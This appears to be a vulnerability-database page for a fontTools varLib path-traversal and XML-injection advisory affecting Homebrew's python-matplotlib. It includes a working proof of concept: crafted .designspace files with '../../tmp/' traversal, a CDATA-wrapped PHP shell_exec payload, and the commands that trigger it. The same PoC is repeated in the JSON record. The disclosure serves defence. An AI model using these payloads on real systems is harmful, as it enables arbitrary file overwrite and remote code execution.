BREW-PYTHON-MATPLOTLIB-C… (GHSA-768J-98CG-P3FV)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:29 – Updated: 2026-10-13 09:13 – Source website
VLAI
Summary
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
Details

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

PoC

  1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

malicious.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>

  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>

  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

  1. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.
python3 setup.py
  1. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename
fonttools varLib malicious.designspace
  1. Validate arbitrary file write was performed by looking at path assigned within malicious designspace
cat {{filename_location}}
  1. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>
        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>
    <variable-fonts>
        <variable-font name="MyFont" filename="output.ttf">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>
    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location><dimension name="Weight" xvalue="100"/></location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>
</designspace>
  1. When the program is run, we can show we control the contents in the new file
fonttools varLib malicious2.designspace -o file123

Here being outputted to a localised area ignoring filename presented in variable-font

  1. We can look inside file123 to validate user controlled injection
cat file123

to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>

  1. Executing the file and reading looking at the newly generated file
php file123
ls -la /tmp/MEOW123

we can see that the file was just created showing RCE.

Recommendations

  • Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
Impacted products
Ecosystem Package Version
Homebrew python-matplotlib
pkg:brew/python-matplotlib
Affected: ≥ 3.8.3, < 3.10.7_1 (ecosystem)

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "fonttools",
        "resource_purl": "pkg:pypi/fonttools@4.66.1",
        "upstream_fixed_in": "4.60.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "python-matplotlib",
        "purl": "pkg:brew/python-matplotlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.3"
            },
            {
              "fixed": "3.10.7_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/fonttools@4.66.1",
        "name": "fonttools",
        "resource": "fonttools",
        "strategy": "registry",
        "subject_version": "4.66.1"
      }
    ]
  },
  "details": "## Summary\n\nThe `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`.\n\nThe vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`).\n\nOverall this allows attackers to:\n- Write font files to arbitrary locations on the filesystem\n- Overwrite configuration files\n- Corrupt application files and dependencies\n- Obtain remote code execution\n\nThe attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.\n\n## Affected Lines\n\n`fontTools/varLib/__init__.py`\n```python\nfilename = vf.filename # Unsanitised filename\noutput_path = os.path.join(output_dir, filename) # Path traversal\nvf.save(output_path) # Arbitrary file write\n```\n\n## PoC\n1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/\u003cusername\u003e/testing/demo/` (will impact relative file location within malicious.designspace)\n\n`setup.py`\n```python\n#!/usr/bin/env python3\nimport os\n\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\n\ndef create_source_font(filename, weight=400):\n    fb = FontBuilder(unitsPerEm=1000, isTTF=True)\n    fb.setupGlyphOrder([\".notdef\"])\n    fb.setupCharacterMap({})\n    \n    pen = TTGlyphPen(None)\n    pen.moveTo((0, 0))\n    pen.lineTo((500, 0))\n    pen.lineTo((500, 500))\n    pen.lineTo((0, 500))\n    pen.closePath()\n    \n    fb.setupGlyf({\".notdef\": pen.glyph()})\n    fb.setupHorizontalMetrics({\".notdef\": (500, 0)})\n    fb.setupHorizontalHeader(ascent=800, descent=-200)\n    fb.setupOS2(usWeightClass=weight)\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"Test\", \"styleName\": f\"Weight{weight}\"})\n    fb.save(filename)\n\nif __name__ == \u0027__main__\u0027:\n    os.chdir(os.path.dirname(os.path.abspath(__file__)))\n    create_source_font(\"source-light.ttf\", weight=100)\n    create_source_font(\"source-regular.ttf\", weight=400)\n```\n\n`malicious.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n  \u003caxes\u003e\n    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n  \u003c/axes\u003e\n  \n  \u003csources\u003e\n    \u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n    \u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n      \u003clocation\u003e\n        \u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n      \u003c/location\u003e\n    \u003c/source\u003e\n  \u003c/sources\u003e\n  \n  \u003c!-- Filename can be arbitrarily set to any path on the filesystem --\u003e\n  \u003cvariable-fonts\u003e\n    \u003cvariable-font name=\"MaliciousFont\" filename=\"../../tmp/newarbitraryfile.json\"\u003e\n      \u003caxis-subsets\u003e\n        \u003caxis-subset name=\"Weight\"/\u003e\n      \u003c/axis-subsets\u003e\n    \u003c/variable-font\u003e\n  \u003c/variable-fonts\u003e\n\u003c/designspace\u003e\n```\n\nOptional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step.\n\n2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file.\n```bash\npython3 setup.py\n```\n3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename\n```bash\nfonttools varLib malicious.designspace\n```\n4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace\n```bash\ncat {{filename_location}}\n```\n5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.\n\n`malicious2.designspace`\n```xml\n\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\n\u003cdesignspace format=\"5.0\"\u003e\n\t\u003caxes\u003e\n        \u003c!-- XML injection occurs in labelname elements with CDATA sections --\u003e\n\t    \u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"\u003e\n\t        \u003clabelname xml:lang=\"en\"\u003e\u003c![CDATA[\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]]]\u003e\u003c![CDATA[\u003e]]\u003e\u003c/labelname\u003e\n\t        \u003clabelname xml:lang=\"fr\"\u003eMEOW2\u003c/labelname\u003e\n\t    \u003c/axis\u003e\n\t\u003c/axes\u003e\n\t\u003caxis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/\u003e\n\t\u003csources\u003e\n\t\t\u003csource filename=\"source-light.ttf\" name=\"Light\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\t\u003csource filename=\"source-regular.ttf\" name=\"Regular\"\u003e\n\t\t\t\u003clocation\u003e\n\t\t\t\t\u003cdimension name=\"Weight\" xvalue=\"400\"/\u003e\n\t\t\t\u003c/location\u003e\n\t\t\u003c/source\u003e\n\t\u003c/sources\u003e\n\t\u003cvariable-fonts\u003e\n\t\t\u003cvariable-font name=\"MyFont\" filename=\"output.ttf\"\u003e\n\t\t\t\u003caxis-subsets\u003e\n\t\t\t\t\u003caxis-subset name=\"Weight\"/\u003e\n\t\t\t\u003c/axis-subsets\u003e\n\t\t\u003c/variable-font\u003e\n\t\u003c/variable-fonts\u003e\n\t\u003cinstances\u003e\n\t\t\u003cinstance name=\"Display Thin\" familyname=\"MyFont\" stylename=\"Thin\"\u003e\n\t\t\t\u003clocation\u003e\u003cdimension name=\"Weight\" xvalue=\"100\"/\u003e\u003c/location\u003e\n\t\t\t\u003clabelname xml:lang=\"en\"\u003eDisplay Thin\u003c/labelname\u003e\n\t\t\u003c/instance\u003e\n\t\u003c/instances\u003e\n\u003c/designspace\u003e\n```\n\n6. When the program is run, we can show we control the contents in the new file\n```bash\nfonttools varLib malicious2.designspace -o file123\n```\nHere being outputted to a localised area ignoring filename presented in variable-font\n\n7. We can look inside file123 to validate user controlled injection\n```bash\ncat file123\n```\nto show `\u003c?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?\u003e]]\u003e`\n\n8. Executing the file and reading looking at the newly generated file\n```bash\nphp file123\nls -la /tmp/MEOW123\n```\nwe can see that the file was just created showing RCE.\n\n## Recommendations\n\n- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system",
  "id": "BREW-python-matplotlib-CVE-2025-66034",
  "modified": "2026-10-13T09:13:09Z",
  "published": "2026-08-13T17:29:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fonttools/fonttools"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib",
  "upstream": [
    "GHSA-768j-98cg-p3fv",
    "CVE-2025-66034",
    "PYSEC-2026-1389"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.